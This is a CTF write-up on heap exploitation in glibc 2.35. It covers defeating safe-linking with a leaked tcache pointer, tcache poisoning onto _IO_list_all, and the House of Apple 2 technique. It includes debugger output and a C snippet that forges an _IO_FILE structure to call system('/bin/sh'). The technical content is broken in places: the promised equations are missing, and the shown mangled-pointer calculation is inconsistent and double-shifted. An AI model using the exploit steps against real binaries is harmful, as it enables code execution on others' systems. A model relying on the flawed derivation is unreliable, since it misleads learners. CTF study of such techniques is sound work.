CTF Write-up: Heap Exploitation in glibc 2.35
1.0 Challenge Synopsis
During the DEFCON qualifier challenges, our team encountered a hardened 64-bit Linux binary linked against glibc 2.35. Standard legacy heap exploitation techniques—such as poisoning __malloc_hook or __free_hook—are rendered obsolete because upstream glibc maintainers removed all allocation hook pointer symbols entirely in version 2.34.
This write-up covers breaking modern tcache safe-linking pointer mangling and redirecting execution control flow using the House of Apple 2 technique against the wide character vtable pointers inside _IO_FILE structures.
2.0 Safe-Linking Pointer Mangling
Introduced in glibc 2.32, safe-linking protects single-linked singly linked list pointers (such as entries inside the Thread Local Cache tcache and fastbins) against off-by-one overwrites and UAF corruption.
2.1 Mathematical Derivation
Since the lowest 12 bits of Address_of_Chunk >> 12 are randomized by ASLR, overwriting P' directly without an address leak causes the kernel to dereference invalid virtual memory pages, aborting with SIGSEGV.
However, when an arbitrary read primitive leaks the mangled value of the terminal chunk in the tcache bin (where Target_Pointer = NULL), the equation simplifies:
In glibc 2.35, chunks inserted into tcache bins must also adhere to strict 16-byte address alignment. Forging a fake chunk unaligned to a 16-byte boundary triggers malloc(): unaligned tcache chunk detected aborts.
3.0 GDB Memory Inspection
Attaching GDB with the pwndbg extension confirms the tcache bin layout and reveals the mangled pointer representation in memory:
pwndbg> tcachebins
tcachebins
0x40 [ 2]: 0x55555555a2a0 → 0x55555555a260
pwndbg> x/4gx 0x55555555a2a0
0x55555555a2a0: 0x0000555555550730 0x0000000000000000
0x55555555a2b0: 0x0000000000000000 0x0000000000000041
pwndbg> tele 0x55555555a2a0
00:0000 │ 0x55555555a2a0 → 0x555555550730 (MANGLED POINTER: 0x55555555a260 ^ (0x55555555a >> 12))
4.0 House of Apple Hijacking
With the ability to allocate chunks onto arbitrary memory addresses via tcache poisoning, we target _IO_list_all. When exit() or abort() is invoked by the runtime, the glibc standard I/O cleanup routine iterates through the _IO_FILE linked list and invokes _IO_wfile_overflow():
// Constructing fake _IO_FILE_plus structure
struct _IO_FILE_plus *fake_file = (struct _IO_FILE_plus *)payload;
fake_file->file._flags = 0x6873; // "sh" in ASCII
fake_file->file._mode = 1; // Force wide character stream mode
fake_file->vtable = (const struct _IO_jump_t *)wide_vtable_addr;
// Trigger call to system("/bin/sh") on stream flush
fake_file->file._wide_data->_wide_vtable->doallocate = (void *)system_addr;
5.0 Glibc Heap Mitigation History
Tracking defensive hardening milestones across recent glibc releases:
| glibc Version | Defensive Mitigation Added | Status | Impact on Attackers |
|---|---|---|---|
2.26 |
Thread Cache (tcache) introduced | Active | Initially lacked double-free and count sanity checks. |
2.29 |
tcache double-free check (key field) | Active | Stores pointer to tcache struct in chunk data. |
2.32 |
Safe-Linking Pointer Mangling | Hardened | Requires ASLR heap base leak to forge pointers. |
2.34 |
Removal of __malloc_hook / __free_hook |
Enforced | Forces targeting of _IO_FILE and stack frames. |
2.35 |
Alignment verification on tcache chunks | Enforced | Eliminates misaligned chunk allocations entirely. |